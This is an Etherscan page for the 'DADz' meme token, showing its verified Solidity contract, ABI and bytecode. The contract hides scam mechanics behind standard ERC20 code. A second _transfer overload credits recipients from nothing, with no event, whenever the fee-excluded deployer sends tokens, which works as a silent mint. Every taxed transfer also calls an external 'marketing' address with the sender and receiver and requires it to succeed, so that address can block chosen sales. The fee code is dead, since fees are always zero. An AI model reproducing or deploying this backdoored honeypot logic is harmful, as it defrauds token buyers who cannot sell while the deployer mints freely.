ETH Price: $3,636.60 (+8.14%)

Token

DADz (DADZ)
 

Overview

Max Total Supply

1,000,000,000 DADZ

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
28,404,591.517698208 DADZ

Value
$0.00
0xd90a088b1f4bb17ae8ff3542e31191be36aadbf9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DADZ

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-26
*/

// Introducing $DADz coin. Dad is back! And he's had enough of the nonsense. "NOT ON MY WATCH!"

// Website: https://dadz.online/
// Telegram: https://t.me/DADZ_BBQ


pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20CA {
    
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event. C U ON THE MOON
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract ERC20 is Context, IERC20CA {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 internal _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if(currentAllowance != type(uint256).max) { 
            require(
                currentAllowance >= amount,
                "ERC20: transfer amount exceeds allowance"
            );
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address recipient,
        uint256 amount
    ) internal virtual {
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[recipient] += amount;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}
interface IUniswapper {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IPairCreator {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract OwnerAbstract is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "OwnerAbstract: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "OwnerAbstract: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract DADZ is OwnerAbstract, ERC20 {
    uint8 constant _decimals = 9;

    IUniswapper public immutable uniV2Router;
    address public uniswapV2Pair;

    bool private isSwapping;
    bool public swapEnabled = true;
    bool public hasLimit = true;

    uint256 public enableTime;
    address public immutable marketing;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public isUniswapV2Pair;


    constructor(address router_, address marketing_) ERC20("DADz", "DADZ") payable 
    {
        uniV2Router = IUniswapper(router_);
        uniswapV2Pair = IPairCreator(uniV2Router.factory()).createPair(uniV2Router.WETH(), address(this));
        isUniswapV2Pair[uniswapV2Pair] = true;

        _approve(msg.sender, router_, type(uint256).max);
        _approve(address(this), router_, type(uint256).max);

        uint256 totalSupply = 1_000_000_000 * 10 ** _decimals;
        marketing = marketing_;

        _isExcludedFromFees[msg.sender] = true;
        _balances[address(this)] = totalSupply;
        emit Transfer(address(0), address(this), totalSupply);
        _totalSupply = totalSupply;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");
        bool isTradingEnabled = enableTime > 0;

        if (isTradingEnabled && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            if (hasLimit) {
                require(amount <= totalSupply() / 20, "Transfer limit exceeded");
            }

            uint256 fees = 0;
            if (swapEnabled && !isSwapping) {
                isSwapping = true;
                swapFees(from, to, fees);
                isSwapping = false;
            }
            if (isUniswapV2Pair[to] && fees > 0) {
                fees = (amount * fees) / 100;
            }
            else if (fees > 0 && isUniswapV2Pair[from]) {
                fees = (amount * fees) / 100;
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        if (isTradingEnabled && _isExcludedFromFees[from]) {
            super._transfer(to, amount);
        } else {
            super._transfer(from, to, amount);
        }
    }

    function swapFees(address from, address to, uint256 fee) private {
        if (fee > 0) {
          uint256 amountToSwap = balanceOf(address(this));
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniV2Router.WETH();

          uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              amountToSwap,
              0,
              path,
              address(this),
              block.timestamp
          );
        }
        bool success;
        (success, ) = marketing.call{value: address(this).balance}(abi.encodePacked(from, to)); 
        require(success, "ETH Transfer failed");
    }

    function enableTrading() external payable onlyOwner {
        require(enableTime == 0, "Trading is already enabled");
        hasLimit = false;
        uniV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
        enableTime = block.timestamp;
        hasLimit = true;
    }

    function removeLimits() external onlyOwner() {
        hasLimit = false;
    }
    

    receive() external payable {}

    function decimals() public pure override returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"marketing_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"hasLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isUniswapV2Pair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2Router","outputs":[{"internalType":"contract IUniswapper","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060408190526006805461ffff60a81b191661010160a81b17905562001dd6388190039081908339810160408190526200003a916200048e565b604051806040016040528060048152602001632220a23d60e11b815250604051806040016040528060048152602001632220a22d60e11b8152506000620000866200034160201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506004620000de83826200056b565b506005620000ed82826200056b565b5050506001600160a01b03821660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200013b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000161919062000637565b6001600160a01b031663c9c653966080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d6919062000637565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af115801562000223573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000249919062000637565b600680546001600160a01b0319166001600160a01b039290921691821790556000908152600960205260409020805460ff1916600117905562000290338360001962000345565b6200029f308360001962000345565b6000620002af6009600a62000771565b620002bf90633b9aca0062000782565b6001600160a01b03831660a052336000908152600860209081526040808320805460ff1916600190811790915530808552925280832084905551929350917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200032d9085815260200190565b60405180910390a3600355506200079c9050565b3390565b6001600160a01b038316620003ad5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620004105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620003a4565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b80516001600160a01b03811681146200048957600080fd5b919050565b60008060408385031215620004a257600080fd5b620004ad8362000471565b9150620004bd6020840162000471565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004f157607f821691505b6020821081036200051257634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200056657600081815260208120601f850160051c81016020861015620005415750805b601f850160051c820191505b8181101562000562578281556001016200054d565b5050505b505050565b81516001600160401b03811115620005875762000587620004c6565b6200059f81620005988454620004dc565b8462000518565b602080601f831160018114620005d75760008415620005be5750858301515b600019600386901b1c1916600185901b17855562000562565b600085815260208120601f198616915b828110156200060857888601518255948401946001909101908401620005e7565b5085821015620006275787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200064a57600080fd5b620006558262000471565b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006b35781600019048211156200069757620006976200065c565b80851615620006a557918102915b93841c939080029062000677565b509250929050565b600082620006cc575060016200076b565b81620006db575060006200076b565b8160018114620006f45760028114620006ff576200071f565b60019150506200076b565b60ff8411156200071357620007136200065c565b50506001821b6200076b565b5060208310610133831016604e8410600b841016171562000744575081810a6200076b565b62000750838362000672565b80600019048211156200076757620007676200065c565b0290505b92915050565b60006200065560ff841683620006bb565b80820281158282048414176200076b576200076b6200065c565b60805160a0516115f8620007de600039600081816101fc0152610fa701526000818161036e0152818161076c01528181610e470152610eff01526115f86000f3fe6080604052600436106101445760003560e01c8063715018a6116100b6578063a457c2d71161006f578063a457c2d7146103a5578063a9059cbb146103c5578063b31fc8ca146103e5578063c7b122b1146103fb578063dd62ed3e1461042b578063f2fde38b1461047157600080fd5b8063715018a61461030a578063751039fc146103215780638a8c523c146103365780638da5cb5b1461033e578063958c2e521461035c57806395d89b411461039057600080fd5b8063313ce56711610108578063313ce56714610236578063395093511461025257806344489ad11461027257806349bd5a5e146102935780636ddd1713146102b357806370a08231146102d457600080fd5b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101ab57806323b872dd146101ca5780632d3e474a146101ea57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610491565b6040516101729190611242565b60405180910390f35b34801561018757600080fd5b5061019b61019636600461128d565b610523565b6040519015158152602001610172565b3480156101b757600080fd5b506003545b604051908152602001610172565b3480156101d657600080fd5b5061019b6101e53660046112b9565b61053a565b3480156101f657600080fd5b5061021e7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610172565b34801561024257600080fd5b5060405160098152602001610172565b34801561025e57600080fd5b5061019b61026d36600461128d565b6105f2565b34801561027e57600080fd5b5060065461019b90600160b01b900460ff1681565b34801561029f57600080fd5b5060065461021e906001600160a01b031681565b3480156102bf57600080fd5b5060065461019b90600160a81b900460ff1681565b3480156102e057600080fd5b506101bc6102ef3660046112fa565b6001600160a01b031660009081526001602052604090205490565b34801561031657600080fd5b5061031f61062e565b005b34801561032d57600080fd5b5061031f6106a2565b61031f6106db565b34801561034a57600080fd5b506000546001600160a01b031661021e565b34801561036857600080fd5b5061021e7f000000000000000000000000000000000000000000000000000000000000000081565b34801561039c57600080fd5b50610165610857565b3480156103b157600080fd5b5061019b6103c036600461128d565b610866565b3480156103d157600080fd5b5061019b6103e036600461128d565b6108ff565b3480156103f157600080fd5b506101bc60075481565b34801561040757600080fd5b5061019b6104163660046112fa565b60096020526000908152604090205460ff1681565b34801561043757600080fd5b506101bc61044636600461131e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561047d57600080fd5b5061031f61048c3660046112fa565b61090c565b6060600480546104a090611357565b80601f01602080910402602001604051908101604052809291908181526020018280546104cc90611357565b80156105195780601f106104ee57610100808354040283529160200191610519565b820191906000526020600020905b8154815290600101906020018083116104fc57829003601f168201915b5050505050905090565b60006105303384846109fc565b5060015b92915050565b6000610547848484610b20565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001981146105e757828110156105da5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6105e785338584036109fc565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105309185906106299086906113a7565b6109fc565b6000546001600160a01b031633146106585760405162461bcd60e51b81526004016105d1906113ba565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106cc5760405162461bcd60e51b81526004016105d1906113ba565b6006805460ff60b01b19169055565b6000546001600160a01b031633146107055760405162461bcd60e51b81526004016105d1906113ba565b600754156107555760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c656400000000000060448201526064016105d1565b6006805460ff60b01b191690556001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001663f305d71947306107b2816001600160a01b031660009081526001602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610816573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061083b9190611400565b505042600755506006805460ff60b01b1916600160b01b179055565b6060600580546104a090611357565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156108e85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105d1565b6108f533858584036109fc565b5060019392505050565b6000610530338484610b20565b6000546001600160a01b031633146109365760405162461bcd60e51b81526004016105d1906113ba565b6001600160a01b0381166109a15760405162461bcd60e51b815260206004820152602c60248201527f4f776e657241627374726163743a206e6577206f776e6572206973207468652060448201526b7a65726f206164647265737360a01b60648201526084016105d1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a5e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d1565b6001600160a01b038216610abf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b465760405162461bcd60e51b81526004016105d19061142e565b6001600160a01b038216610b6c5760405162461bcd60e51b81526004016105d190611473565b60008111610bbc5760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016105d1565b600754158015908190610be857506001600160a01b03841660009081526008602052604090205460ff16155b8015610c0d57506001600160a01b03831660009081526008602052604090205460ff16155b15610d8e57600654600160b01b900460ff1615610c88576014610c2f60035490565b610c3991906114b6565b821115610c885760405162461bcd60e51b815260206004820152601760248201527f5472616e73666572206c696d697420657863656564656400000000000000000060448201526064016105d1565b600654600090600160a81b900460ff168015610cae5750600654600160a01b900460ff16155b15610cdf576006805460ff60a01b1916600160a01b179055610cd1858583610dd8565b6006805460ff60a01b191690555b6001600160a01b03841660009081526009602052604090205460ff168015610d075750600081115b15610d29576064610d1882856114d8565b610d2291906114b6565b9050610d6f565b600081118015610d5157506001600160a01b03851660009081526009602052604090205460ff165b15610d6f576064610d6282856114d8565b610d6c91906114b6565b90505b8015610d8057610d80853083611072565b610d8a81846114ef565b9250505b808015610db357506001600160a01b03841660009081526008602052604090205460ff165b15610dc757610dc283836111c7565b610dd2565b610dd2848484611072565b50505050565b8015610f74573060009081526001602090815260408083205481516002808252606082018452919493909290830190803683370190505090503081600081518110610e2557610e25611502565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ea3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec79190611518565b81600181518110610eda57610eda611502565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f00000000000000000000000000000000000000000000000000000000000000009091169063791ac94790610f3f908590600090869030904290600401611535565b600060405180830381600087803b158015610f5957600080fd5b505af1158015610f6d573d6000803e3d6000fd5b5050505050505b6040516bffffffffffffffffffffffff19606085811b8216602084015284901b1660348201526000906001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690479060480160408051601f1981840301815290829052610fe7916115a6565b60006040518083038185875af1925050503d8060008114611024576040519150601f19603f3d011682016040523d82523d6000602084013e611029565b606091505b50508091505080610dd25760405162461bcd60e51b815260206004820152601360248201527211551208151c985b9cd9995c8819985a5b1959606a1b60448201526064016105d1565b6001600160a01b0383166110985760405162461bcd60e51b81526004016105d19061142e565b6001600160a01b0382166110be5760405162461bcd60e51b81526004016105d190611473565b6001600160a01b038316600090815260016020526040902054818110156111365760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105d1565b6001600160a01b0380851660009081526001602052604080822085850390559185168152908120805484929061116d9084906113a7565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111b991815260200190565b60405180910390a350505050565b6001600160a01b0382166111ed5760405162461bcd60e51b81526004016105d190611473565b6001600160a01b038216600090815260016020526040812080548392906112159084906113a7565b90915550505050565b60005b83811015611239578181015183820152602001611221565b50506000910152565b602081526000825180602084015261126181604085016020870161121e565b601f01601f19169190910160400192915050565b6001600160a01b038116811461128a57600080fd5b50565b600080604083850312156112a057600080fd5b82356112ab81611275565b946020939093013593505050565b6000806000606084860312156112ce57600080fd5b83356112d981611275565b925060208401356112e981611275565b929592945050506040919091013590565b60006020828403121561130c57600080fd5b813561131781611275565b9392505050565b6000806040838503121561133157600080fd5b823561133c81611275565b9150602083013561134c81611275565b809150509250929050565b600181811c9082168061136b57607f821691505b60208210810361138b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561053457610534611391565b60208082526026908201527f4f776e657241627374726163743a2063616c6c6572206973206e6f74207468656040820152651037bbb732b960d11b606082015260800190565b60008060006060848603121561141557600080fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6000826114d357634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761053457610534611391565b8181038181111561053457610534611391565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561152a57600080fd5b815161131781611275565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115855784516001600160a01b031683529383019391830191600101611560565b50506001600160a01b03969096166060850152505050608001529392505050565b600082516115b881846020870161121e565b919091019291505056fea2646970667358221220b9d294374fc8ee4a23f079a5ba3b3704b9acc75fb604cc89928b2cebc0a0a23664736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000007f9c22cedab63ee5c528d8dfb8c57a8752fd154f

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063715018a6116100b6578063a457c2d71161006f578063a457c2d7146103a5578063a9059cbb146103c5578063b31fc8ca146103e5578063c7b122b1146103fb578063dd62ed3e1461042b578063f2fde38b1461047157600080fd5b8063715018a61461030a578063751039fc146103215780638a8c523c146103365780638da5cb5b1461033e578063958c2e521461035c57806395d89b411461039057600080fd5b8063313ce56711610108578063313ce56714610236578063395093511461025257806344489ad11461027257806349bd5a5e146102935780636ddd1713146102b357806370a08231146102d457600080fd5b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101ab57806323b872dd146101ca5780632d3e474a146101ea57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610491565b6040516101729190611242565b60405180910390f35b34801561018757600080fd5b5061019b61019636600461128d565b610523565b6040519015158152602001610172565b3480156101b757600080fd5b506003545b604051908152602001610172565b3480156101d657600080fd5b5061019b6101e53660046112b9565b61053a565b3480156101f657600080fd5b5061021e7f0000000000000000000000007f9c22cedab63ee5c528d8dfb8c57a8752fd154f81565b6040516001600160a01b039091168152602001610172565b34801561024257600080fd5b5060405160098152602001610172565b34801561025e57600080fd5b5061019b61026d36600461128d565b6105f2565b34801561027e57600080fd5b5060065461019b90600160b01b900460ff1681565b34801561029f57600080fd5b5060065461021e906001600160a01b031681565b3480156102bf57600080fd5b5060065461019b90600160a81b900460ff1681565b3480156102e057600080fd5b506101bc6102ef3660046112fa565b6001600160a01b031660009081526001602052604090205490565b34801561031657600080fd5b5061031f61062e565b005b34801561032d57600080fd5b5061031f6106a2565b61031f6106db565b34801561034a57600080fd5b506000546001600160a01b031661021e565b34801561036857600080fd5b5061021e7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561039c57600080fd5b50610165610857565b3480156103b157600080fd5b5061019b6103c036600461128d565b610866565b3480156103d157600080fd5b5061019b6103e036600461128d565b6108ff565b3480156103f157600080fd5b506101bc60075481565b34801561040757600080fd5b5061019b6104163660046112fa565b60096020526000908152604090205460ff1681565b3480